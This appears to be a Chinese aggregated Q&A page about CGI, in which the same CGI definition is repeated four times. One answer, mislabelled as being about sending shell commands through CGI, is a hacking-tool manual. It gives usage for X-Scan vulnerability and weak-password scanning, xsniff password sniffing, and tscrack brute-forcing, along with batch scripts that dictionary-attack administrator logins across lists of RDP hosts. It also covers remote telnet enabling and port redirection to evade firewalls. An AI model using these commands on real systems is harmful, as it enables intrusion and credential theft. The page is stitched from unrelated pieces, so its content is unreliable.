❶ CGI是什麼
什麼是CGI
1. 定義:
CGI(Common Gateway Interface)是HTTP伺服器與你的或其它機器
上的程序進行「交談」的一種工具,其程序須運行在網路伺服器上。
2. 功能:
絕大多數的CGI程序被用來解釋處理傑自表單的輸入信息,並在服
務器產生相應的處理,或將相應的信息反饋給瀏覽器。CGI程序使
網頁具有交互功能。
3. 運行環境:
CGI程序在UNIX操作系統上CERN或NCSA格式的伺服器上運行。
在其它操作系統(如:windows NT及windows95等)的伺服器上
也廣泛地使用CGI程序,同時它也適用於各種類型機器。
4. CGI處理步驟:
⑴通過Internet把用戶請求送到伺服器。
⑵伺服器接收用戶請求並交給CGI程序處理。
⑶CGI程序把處理結果傳送給伺服器。
⑷伺服器把結果送回到用戶。
5. CGI伺服器配置:
CGI程序不是放在伺服器上就能順利運行,如果要想使其在伺服器
上順利的運行並准確的處理用戶的請求,則須對所使用的伺服器進
行必要的設置。
配置:根據所使用的伺服器類型以及它的設置把CGI程序放在某一
特定的目錄中或使其帶有特定的擴展名。
⑴CREN格式伺服器的配置:
編輯CREN格式伺服器的配置文件通常為/etc/httpd.conf/
在文件中加入:Exec cgi-bin/*/home/www/cgi-bin/*.exec
命令中出現的第一個參數cgi-bin/*指出了在URL中出現的目錄
名字,並表示它出
現在系統主機後的第一個目錄中,如:
http://edgar.stern.nyn.e/cgi-bin/
命令中的第二個參數表示CGI程序目錄放在系統中的真實路徑。
CGI目錄除了可以點網路文件放在同一目錄中,也可以放在系統
的其它目錄中,但必須保證在你的系統中也具有同樣的目錄。在
對伺服器完成設置後,須重新啟動伺服器(除非HTTP伺服器是用
inetd啟動的)。
⑵NCSA格式伺服器的配置
在NCSA格式伺服器上有兩種方法進行設置:
①在srm.conf文件(通常在conf目錄下)中加入:
Script Alias/cgi-bin/cgi-bin/
Script Alias命令指出某一目錄下的文件是可執行程序,且這
個命令是用來執行
這些程序的;此命令的兩個參數與CERN格式伺服器中的Exec命
令的參數的含意一樣。
②在srm.conf文件加入:
Add type application/x-httpd-cgi.cgi
此命令表示在伺服器上增加了一種新的文件類型,其後第一個
參數為CGI程序的MIME類型,第二個參數是文件的擴展名,表
示以這一擴展名為擴展名的文件是CGI程序。
在用上述方法之一設置伺服器後,都得重新啟動伺服器(除非
HTTP伺服器是用inetd啟動的)。
什麼是IIS
首先,Internet Information Server的縮寫為(IIS)是一個World Wide Web server。Gopher server和FTP server全部包容在裡面。 IIS意味著你能發布網頁,並且有ASP(Active Server Pages)、JAVA、VBscript產生頁面,有著一些擴展功能。IIS支持一些有趣的東西,象有編輯環境的界面(FRONTPAGE)、有全文檢索功能的(INDEX SERVER)、有多媒體功能的(NET SHOW)
其次,IIS是隨Windows NT Server 4.0一起提供的文件和應用程序伺服器,是在Windows NT Server上建立Internet伺服器的基本組件。它與Windows NT Server完全集成,允許使用Windows NT Server內置的安全性以及NTFS文件系統建立強大靈活的Internet/Intranet站點。
1.IIS的安裝
IIS可以在Windows NT安裝時安裝,也可以安裝完Windows NT後用「控制面板」中的「添加/刪除程序」安裝,安裝路徑為光碟中的:i386\inetsrv\inetstp.exe。安裝過程中要求添加相應的ODBC驅動程序。
2.IIS的管理
IIS通過ISM(Internet Service Manager)進行管理,ISM有兩個版本,一個以普通應用程序的方式運行,一個在Web瀏覽器中運行,二者的差別在於後者不能啟動和停止Internet服務。
ISM(應用程序方式)管理界面:在「查看」菜單中選擇「查看報告」、「伺服器查看」、「服務查看」可以得到三種視圖:
報告視圖 預設的視圖,按字母順序依次顯示所選擇的計算機及其上安裝的服務。通過該視圖可以:連到伺服器並顯示其屬性對話框;啟動、停止或暫停服務;可選擇顯示哪些服務(FTP、WWW、GOPHER)。
伺服器視圖 顯示網路上運行Internet服務的計算機名。打開該計算機可以看到正在運行的Internet服務。雙擊伺服器名可以顯示其屬性對話框。
服務視圖 列出所有的Internet服務。打開服務可以看到哪些計算機運行該服務。雙擊服務下的計算機名,可以打開該計算機上的服務屬性對話框。
3.IIS安全性
IIS的安全性核心依賴於Windows NT Server內置的安全性,IIS自身也內置了安全性。包括加密、驗證以及IIS擴展等。
(1)Windows NT Server安全性:Windows NT提供用戶賬戶安全性、NTFS安全性。
①用戶賬戶安全性:Windows NT要求用戶提供有效賬戶以及口令才能訪問Windows NT。IIS安裝時創建Internet Guest 賬戶,預設情況下,所有IIS用戶都使用這個賬戶登錄到伺服器,這個賬戶只允許本地登錄,沒有其他權利。假如允許遠程用戶用登錄Internet Guest 賬戶登錄就不必給遠程用戶用戶名及口令,Windows NT以Internet Guest 賬戶對待。
②NTFS文件安全性:NTFS提供安全性,可以控制對數據文件的訪問,應當將數據文件放在NTFS分區。NTFS可以精確控制哪些用戶和組以什麼許可權訪問文件和目錄。
(2)IIS的安全性:除了Windows NT的安全措施外,IIS本身也有安全控制能力。通過賬戶名及口令控制訪問:可以配置WWW服務要求用戶連入伺服器之前提供一個合法的用戶名及口令。
❷ 怎麽用cgi實現發一個shell指令到終端執行
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, 可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測"hostlist.txt"文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機
#9 九:
3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出
4、終端服務密碼破解: tscrack.exe
參數說明
-h 顯示使用幫助
-v 顯示版本信息
-s 在屏幕上打出解密能力
-b 密碼錯誤時發出的聲音
-t 同是發出多個連接(多線程)
-N Prevent System Log entries on targeted server
-U 卸載移除tscrack組件
-f 使用-f後面的密碼
-F 間隔時間(頻率)
-l 使用-l後面的用戶名
-w 使用-w後面的密碼字典
-p 使用-p後面的密碼
-D 登錄主頁面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 遠程用密碼字典文件暴破主機的administrator的登陸密碼
tscrack 192.168.0.1 -l administrator -p 123456 用密碼123456遠程登陸192.168.0.1的administrator用戶
@if not exist ipcscan.txt goto noscan
@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存為3389.bat) (假設現有用SuperScan或其它掃錨器掃到一批開有3389的主機IP列表文件3389.txt)
3389.bat意思是:從3389.txt文件中取一個IP,接著運行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存為hack.bat) (運行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個目錄下;就可以等待結果了)
hack.bat意思是:運行tscrack.exe用字典暴破3389.txt中所有主機的administrator密碼,並將破解結果保存在rouji.txt文件中。
5、其它:
Shutdown.exe
Shutdown \\IP地址 t:20 20秒後將對方NT自動關閉(Windows 2003系統自帶工具,在Windows2000下用進就得下載此工具才能用。在前面Windows 2003 DOS命令中有詳細介紹。)
fpipe.exe (TCP埠重定向工具) 在第二篇中有詳細說明(埠重定向繞過防火牆)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 當有人掃錨你的80埠時,他掃到的結果會完全是www.sina.com.cn的主機信息
Fpipe -l 23 -s 88 -r 23 目標IP 把本機向目標IP發送的23埠Telnet請求經埠重定向後,就通過88埠發送到目標IP的23埠。(與目標IP建立Telnet時本機就用的88埠與其相連接)然後:直接Telnet 127.0.0.1(本機IP)就連接到目標IP的23埠了。
OpenTelnet.exe (遠程開啟telnet工具)
opentelnet.exe \\IP 帳號密碼ntlm認證方式Telnet埠 (不需要上傳ntlm.exe破壞微軟的身份驗證方式)直接遠程開啟對方的telnet服務後,就可用telnet \\ip 連接上對方。
NTLM認證方式:0:不使用NTLM身份驗證;1:先嘗試NTLM身份驗證,如果失敗,再使用用戶名和密碼;2:只使用NTLM身份驗證。
ResumeTelnet.exe (OpenTelnet附帶的另一個工具)
resumetelnet.exe \\IP帳號密碼 用Telnet連接完對方後,就用這個命令將對方的Telnet設置還原,並同時關閉Telnet服務。
#10 十:
6、FTP命令詳解:
FTP命令是Internet用戶使用最頻繁的命令之一,熟悉並靈活應用FTP的內部命令,可以大大方便使用者,並收到事半功倍之效。如果你想學習使用進行後台FTP下載,那麼就必須學習FTP指令。
FTP的命令行格式為:
ftp -v -d -i -n -g [主機名] ,其中
-v 顯示遠程伺服器的所有響應信息;
-n 限制ftp的自動登錄,即不使用;.n etrc文件;
-d 使用調試方式;
-g 取消全局文件名。
FTP使用的內部命令如下(中括弧表示可選項):
1.![cmd[args]]:在本地機中執行交互shell,exit回到ftp環境,如:!ls*.zip
2.$ macro-ame[args]: 執行宏定義macro-name。
3.account[password]: 提供登錄遠程系統成功後訪問系統資源所需的補充口令。
4.append local-file[remote-file]:將本地文件追加到遠程系統主機,若未指定遠程系統文件名,則使用本地文件名。
5.ascii:使用ascii類型傳輸方式。
6.bell:每個命令執行完畢後計算機響鈴一次。
7.bin:使用二進制文件傳輸方式。
8.bye:退出ftp會話過程。
9.case:在使用mget時,將遠程主機文件名中的大寫轉為小寫字母。
10.cd remote-dir:進入遠程主機目錄。
11.cp:進入遠程主機目錄的父目錄。
12.chmod mode file-name:將遠程主機文件file-name的存取方式設置為mode,如:chmod 777 a.out。
13.close:中斷與遠程伺服器的ftp會話(與open對應)。
14.cr:使用asscii方式傳輸文件時,將回車換行轉換為回行。
15.delete remote-file:刪除遠程主機文件。
16.debug[debug-value]:設置調試方式, 顯示發送至遠程主機的每條命令,如:deb up 3,若設為0,表示取消debug。
17.dir[remote-dir][local-file]:顯示遠程主機目錄,並將結果存入本地文件。
18.disconnection:同close。
19.form format:將文件傳輸方式設置為format,預設為file方式。
20.get remote-file[local-file]: 將遠程主機的文件remote-file傳至本地硬碟的local-file。
21.glob:設置mdelete,mget,mput的文件名擴展,預設時不擴展文件名,同命令行的-g參數。
22.hash:每傳輸1024位元組,顯示一個hash符號(#)。
23.help[cmd]:顯示ftp內部命令cmd的幫助信息,如:help get。
24.idle[seconds]:將遠程伺服器的休眠計時器設為[seconds]秒。
25.image:設置二進制傳輸方式(同binary)。
26.lcd[dir]:將本地工作目錄切換至dir。
27.ls[remote-dir][local-file]:顯示遠程目錄remote-dir, 並存入本地文件local-file。
28.macdef macro-name:定義一個宏,遇到macdef下的空行時,宏定義結束。
29.mdelete[remote-file]:刪除遠程主機文件。
30.mdir remote-files local-file:與dir類似,但可指定多個遠程文件,如 :mdir *.o.*.zipoutfile 。
31.mget remote-files:傳輸多個遠程文件。
32.mkdir dir-name:在遠程主機中建一目錄。
33.mls remote-file local-file:同nlist,但可指定多個文件名。
34.mode[modename]:將文件傳輸方式設置為modename, 預設為stream方式。
35.modtime file-name:顯示遠程主機文件的最後修改時間。
36.mput local-file:將多個文件傳輸至遠程主機。
37.newer file-name: 如果遠程機中file-name的修改時間比本地硬碟同名文件的時間更近,則重傳該文件。
38.nlist[remote-dir][local-file]:顯示遠程主機目錄的文件清單,並存入本地硬碟的local-file。
39.nmap[inpattern outpattern]:設置文件名映射機制, 使得文件傳輸時,文件中的某些字元相互轉換, 如:nmap $1.$2.$3[$1,$2].[$2,$3],則傳輸文件a1.a2.a3時,文件名變為a1,a2。 該命令特別適用於遠程主機為非UNIX機的情況。
40.ntrans[inchars[outchars]]:設置文件名字元的翻譯機制,如ntrans1R,則文件名LLL將變為RRR。
41.open host[port]:建立指定ftp伺服器連接,可指定連接埠。
42.passive:進入被動傳輸方式。
43.prompt:設置多個文件傳輸時的交互提示。
44.proxy ftp-cmd:在次要控制連接中,執行一條ftp命令, 該命令允許連接兩個ftp伺服器,以在兩個伺服器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個伺服器間的連接。
45.put local-file[remote-file]:將本地文件local-file傳送至遠程主機。
46.pwd:顯示遠程主機的當前工作目錄。
47.quit:同bye,退出ftp會話。
48.quote arg1,arg2...:將參數逐字發至遠程ftp伺服器,如:quote syst.
49.recv remote-file[local-file]:同get。
50.reget remote-file[local-file]:類似於get, 但若local-file存在,則從上次傳輸中斷處續傳。
51.rhelp[cmd-name]:請求獲得遠程主機的幫助。
52.rstatus[file-name]:若未指定文件名,則顯示遠程主機的狀態, 否則顯示文件狀態。
53.rename[from][to]:更改遠程主機文件名。
54.reset:清除回答隊列。
55.restart marker:從指定的標志marker處,重新開始get或put,如:restart 130。
56.rmdir dir-name:刪除遠程主機目錄。
57.runique:設置文件名只一性存儲,若文件存在,則在原文件後加後綴.1, .2等。
58.send local-file[remote-file]:同put。
59.sendport:設置PORT命令的使用。
60.site arg1,arg2...:將參數作為SITE命令逐字發送至遠程ftp主機。
61.size file-name:顯示遠程主機文件大小,如:site idle 7200。
62.status:顯示當前ftp狀態。
63.struct[struct-name]:將文件傳輸結構設置為struct-name, 預設時使用stream結構。
64.sunique:將遠程主機文件名存儲設置為只一(與runique對應)。
65.system:顯示遠程主機的操作系統類型。
66.tenex:將文件傳輸類型設置為TENEX機的所需的類型。
67.tick:設置傳輸時的位元組計數器。
68.trace:設置包跟蹤。
69.type[type-name]:設置文件傳輸類型為type-name,預設為ascii,如:type binary,設置二進制傳輸方式。
70.umask[newmask]:將遠程伺服器的預設umask設置為newmask,如:umask 3
71.user user-name[password][account]:向遠程主機表明自己的身份,需要口令時,必須輸入口令,如:user anonymous my@email。
72.verbose:同命令行的-v參數,即設置詳盡報告方式,ftp 伺服器的所有響 應都將顯示給用戶,預設為on.
73.[cmd]:同help.
#11 十一:
7:計算機運行命令全集 winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程序
winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程序
wscript--------windows腳本宿主設置
write----------寫字板winmsd-----系統信息
wiaacmgr-------掃描儀和照相機向導
winchat--------XP自帶區域網聊天
mem.exe--------顯示內存使用情況
Msconfig.exe---系統配置實用程序
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠程桌面連接
mplayer2-------媒體播放機
magnify--------放大鏡實用程序
mmc------------打開控制台
mobsync--------同步命令
dxdiag---------檢查DirectX信息
drwtsn32------ 系統醫生
devmgmt.msc--- 設備管理器
dfrg.msc-------磁碟碎片整理程序
diskmgmt.msc---磁碟管理實用程序
dcomcnfg-------打開系統組件服務
ddeshare-------打開DDE共享設置
dvdplay--------DVD播放器
net stop messenger-----停止信使服務
net start messenger----開始信使服務
notepad--------打開記事本
nslookup-------網路管理的工具向導
ntbackup-------系統備份和還原
narrator-------屏幕"講述人"
ntmsmgr.msc----移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an----(TC)命令檢查介面
syncapp--------創建一個公文包
sysedit--------系統配置編輯器
sigverif-------文件簽名驗證程序
sndrec32-------錄音機
shrpubw--------創建共享文件夾
secpol.msc-----本地安全策略
syskey---------系統加密,一旦加密就不能解開,保護windows xp系統的雙重密碼
services.msc---本地服務設置
Sndvol32-------音量控製程序
sfc.exe--------系統文件檢查器
sfc /scannow---windows文件保護
tsshutdn-------60秒倒計時關機命令
tourstart------xp簡介(安裝完成後出現的漫遊xp程序)
taskmgr--------任務管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打開資源管理器
packager-------對象包裝程序
perfmon.msc----計算機性能監測程序
progman--------程序管理器
regedit.exe----注冊表
rsop.msc-------組策略結果集
regedt32-------注冊表編輯器
rononce -p ----15秒關機
regsvr32 /u *.dll----停止dll文件運行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁碟檢查
certmgr.msc----證書管理實用程序
calc-----------啟動計算器
charmap--------啟動字元映射表
cliconfg-------SQL SERVER 客戶端網路實用程序
Clipbrd--------剪貼板查看器
conf-----------啟動netmeeting
compmgmt.msc---計算機管理
cleanmgr-------**整理
ciadv.msc------索引服務程序
osk------------打開屏幕鍵盤
odbcad32-------ODBC數據源管理器
oobe/msoobe /a----檢查XP是否激活
lusrmgr.msc----本機用戶和組
logoff---------注銷命令
iexpress-------木馬捆綁工具,系統自帶
Nslookup-------IP地址偵測器
fsmgmt.msc-----共享文件夾管理器
utilman--------輔助工具管理器
gpedit.msc-----組策略
❸ 什麼是CGI
什麼是CGI
1. 定義:
CGI(Common Gateway Interface)是HTTP伺服器與你的或其它機器
上的程序進行「交談」的一種工具,其程序須運行在網路伺服器上。
2. 功能:
絕大多數的CGI程序被用來解釋處理傑自表單的輸入信息,並在服
務器產生相應的處理,或將相應的信息反饋給瀏覽器。CGI程序使
網頁具有交互功能。
3. 運行環境:
CGI程序在UNIX操作系統上CERN或NCSA格式的伺服器上運行。
在其它操作系統(如:windows NT及windows95等)的伺服器上
也廣泛地使用CGI程序,同時它也適用於各種類型機器。
4. CGI處理步驟:
⑴通過Internet把用戶請求送到伺服器。
⑵伺服器接收用戶請求並交給CGI程序處理。
⑶CGI程序把處理結果傳送給伺服器。
⑷伺服器把結果送回到用戶。
5. CGI伺服器配置:
CGI程序不是放在伺服器上就能順利運行,如果要想使其在伺服器
上順利的運行並准確的處理用戶的請求,則須對所使用的伺服器進
行必要的設置。
配置:根據所使用的伺服器類型以及它的設置把CGI程序放在某一
特定的目錄中或使其帶有特定的擴展名。
⑴CREN格式伺服器的配置:
編輯CREN格式伺服器的配置文件通常為/etc/httpd.conf/
在文件中加入:Exec cgi-bin/*/home/www/cgi-bin/*.exec
命令中出現的第一個參數cgi-bin/*指出了在URL中出現的目錄
名字,並表示它出
現在系統主機後的第一個目錄中,如:
http://edgar.stern.nyn.e/cgi-bin/
命令中的第二個參數表示CGI程序目錄放在系統中的真實路徑。
CGI目錄除了可以點網路文件放在同一目錄中,也可以放在系統
的其它目錄中,但必須保證在你的系統中也具有同樣的目錄。在
對伺服器完成設置後,須重新啟動伺服器(除非HTTP伺服器是用
inetd啟動的)。
⑵NCSA格式伺服器的配置
在NCSA格式伺服器上有兩種方法進行設置:
①在srm.conf文件(通常在conf目錄下)中加入:
Script Alias/cgi-bin/cgi-bin/
Script Alias命令指出某一目錄下的文件是可執行程序,且這
個命令是用來執行
這些程序的;此命令的兩個參數與CERN格式伺服器中的Exec命
令的參數的含意一樣。
②在srm.conf文件加入:
Add type application/x-httpd-cgi.cgi
此命令表示在伺服器上增加了一種新的文件類型,其後第一個
參數為CGI程序的MIME類型,第二個參數是文件的擴展名,表
示以這一擴展名為擴展名的文件是CGI程序。
在用上述方法之一設置伺服器後,都得重新啟動伺服器(除非
HTTP伺服器是用inetd啟動的)。
❹ 如何用c語言寫cgi程序
包括標准輸入、環境變數、標准輸出三部分。
1.標准輸入
CGI程序像其他可執行程序一樣,可通過標准輸入(stdin)從Web伺服器得到輸入信息,如Form中的數據,這就是所謂的向CGI程序傳遞數據的 POST方法。這意味著在操作系統命令行狀態可執行CGI程序,對CGI程序進行調試。POST方法是常用的方法,本文將以此方法為例,分析CGI程序設 計的方法、過程和技巧。
2.環境變數
操作系統提供了許多環境變數,它們定義了程序的執行環境,應用程序可以存取它們。Web伺服器和CGI介面又另外設置了自己的一些環境變數,用來向CGI 程序傳遞一些重要的參數。CGI的GET方法還通過 環境變數QUERY-STRING向CGI程序傳遞Form中的數據。
3.標准輸出
CGI程序通過標准輸出(stdout)將輸出信息傳送給Web伺服器。傳送給Web伺服器的信息可以用各種格式,通常是以純文本或者HTML文本的形式,這樣我們就可以在命令行狀態調試CGI程序,並且得到它們的輸出。
下面是一個簡單的CGI程序,它將HT
❺ 什麼是CGI,FastCGI,PHP-CGI,PHP-FPM,Spawn-FCGI
什麼是CGI
1. 定義:
CGI(Common Gateway Interface)是HTTP伺服器與你的或其它機器
上的程序進行「交談」的一種工具,其程序須運行在網路伺服器上。
2. 功能:
絕大多數的CGI程序被用來解釋處理傑自表單的輸入信息,並在服
務器產生相應的處理,或將相應的信息反饋給瀏覽器。CGI程序使
網頁具有交互功能。
3. 運行環境:
CGI程序在UNIX操作系統上CERN或NCSA格式的伺服器上運行。
在其它操作系統(如:windows NT及windows95等)的伺服器上
也廣泛地使用CGI程序,同時它也適用於各種類型機器。
4. CGI處理步驟:
⑴通過Internet把用戶請求送到伺服器。
⑵伺服器接收用戶請求並交給CGI程序處理。
⑶CGI程序把處理結果傳送給伺服器。
⑷伺服器把結果送回到用戶。
5. CGI伺服器配置:
CGI程序不是放在伺服器上就能順利運行,如果要想使其在伺服器
上順利的運行並准確的處理用戶的請求,則須對所使用的伺服器進
行必要的設置。
配置:根據所使用的伺服器類型以及它的設置把CGI程序放在某一
特定的目錄中或使其帶有特定的擴展名。
⑴CREN格式伺服器的配置:
編輯CREN格式伺服器的配置文件通常為/etc/httpd.conf/
在文件中加入:Exec cgi-bin/*/home/www/cgi-bin/*.exec
命令中出現的第一個參數cgi-bin/*指出了在URL中出現的目錄
名字,並表示它出
現在系統主機後的第一個目錄中,如:
edgar.stern.nyn.e/cgi-bin/
命令中的第二個參數表示CGI程序目錄放在系統中的真實路徑。
CGI目錄除了可以點網路文件放在同一目錄中,也可以放在系統
的其它目錄中,但必須保證在你的系統中也具有同樣的目錄。在
對伺服器完成設置後,須重新啟動伺服器(除非HTTP伺服器是用
inetd啟動的)。
⑵NCSA格式伺服器的配置
在NCSA格式伺服器上有兩種方法進行設置:
①在srm.conf文件(通常在conf目錄下)中加入:
Script Alias/cgi-bin/cgi-bin/
Script Alias命令指出某一目錄下的文件是可執行程序,且這
個命令是用來執行
這些程序的;此命令的兩個參數與CERN格式伺服器中的Exec命
令的參數的含意一樣。
②在srm.conf文件加入:
Add type application/x-httpd-cgi.cgi
此命令表示在伺服器上增加了一種新的文件類型,其後第一個
參數為CGI程序的MIME類型,第二個參數是文件的擴展名,表
示以這一擴展名為擴展名的文件是CGI程序。
在用上述方法之一設置伺服器後,都得重新啟動伺服器(除非
HTTP伺服器是用inetd啟動的)。
❻ 什麼是CGI
什麼是CGI
1. 定義:
CGI(Common Gateway Interface)是HTTP伺服器與你的或其它機器
上的程序進行「交談」的一種工具,其程序須運行在網路伺服器上。
2. 功能:
絕大多數的CGI程序被用來解釋處理傑自表單的輸入信息,並在服
務器產生相應的處理,或將相應的信息反饋給瀏覽器。CGI程序使
網頁具有交互功能。
3. 運行環境:
CGI程序在UNIX操作系統上CERN或NCSA格式的伺服器上運行。
在其它操作系統(如:windows NT及windows95等)的伺服器上
也廣泛地使用CGI程序,同時它也適用於各種類型機器。
4. CGI處理步驟:
⑴通過Internet把用戶請求送到伺服器。
⑵伺服器接收用戶請求並交給CGI程序處理。
⑶CGI程序把處理結果傳送給伺服器。
⑷伺服器把結果送回到用戶。
5. CGI伺服器配置:
CGI程序不是放在伺服器上就能順利運行,如果要想使其在伺服器
上順利的運行並准確的處理用戶的請求,則須對所使用的伺服器進
行必要的設置。
配置:根據所使用的伺服器類型以及它的設置把CGI程序放在某一
特定的目錄中或使其帶有特定的擴展名。
⑴CREN格式伺服器的配置:
編輯CREN格式伺服器的配置文件通常為/etc/httpd.conf/
在文件中加入:Exec cgi-bin/*/home/www/cgi-bin/*.exec
命令中出現的第一個參數cgi-bin/*指出了在URL中出現的目錄
名字,並表示它出
現在系統主機後的第一個目錄中,如:
http://edgar.stern.nyn.e/cgi-bin/
命令中的第二個參數表示CGI程序目錄放在系統中的真實路徑。
CGI目錄除了可以點網路文件放在同一目錄中,也可以放在系統
的其它目錄中,但必須保證在你的系統中也具有同樣的目錄。在
對伺服器完成設置後,須重新啟動伺服器(除非HTTP伺服器是用
inetd啟動的)。
⑵NCSA格式伺服器的配置
在NCSA格式伺服器上有兩種方法進行設置:
①在srm.conf文件(通常在conf目錄下)中加入:
Script Alias/cgi-bin/cgi-bin/
Script Alias命令指出某一目錄下的文件是可執行程序,且這
個命令是用來執行
這些程序的;此命令的兩個參數與CERN格式伺服器中的Exec命
令的參數的含意一樣。
②在srm.conf文件加入:
Add type application/x-httpd-cgi.cgi
此命令表示在伺服器上增加了一種新的文件類型,其後第一個
參數為CGI程序的MIME類型,第二個參數是文件的擴展名,表
示以這一擴展名為擴展名的文件是CGI程序。
在用上述方法之一設置伺服器後,都得重新啟動伺服器(除非
HTTP伺服器是用inetd啟動的)。
❼ cgi是什麼意思
公共網關介面(Common Gateway Interface,CGI)是Web 伺服器運行時外部程序的規范,按CGI 編寫的程序可以擴展伺服器功能。
CGI是 Web 伺服器運行時外部程序的規范,按CGI編寫的程序可以擴展伺服器功能。CGI應用程序能與瀏覽器進行交互,還可通過資料庫 API 與資料庫伺服器等外部數據源進行通信,從資料庫伺服器中獲取數據。
格式化為 HTML 文檔後,發送給瀏覽器,也可以將從瀏覽器獲得的數據放到資料庫中。幾乎所有伺服器都支持CGI,可用任何語言編寫CGI,包括流行的 C、C ++、VB 和 Delphi 等。CGI分為標准CGI和間接CGI兩種。
標准CGI使用命令行參數或環境變數表示伺服器的詳細請求,伺服器與瀏覽器通信採用標准輸入輸出方式。間接CGI又稱緩沖CGI,在CGI程序和CGI介面之間插入一個緩沖程序,緩沖程序與CGI介面間用標准輸入輸出進行通信。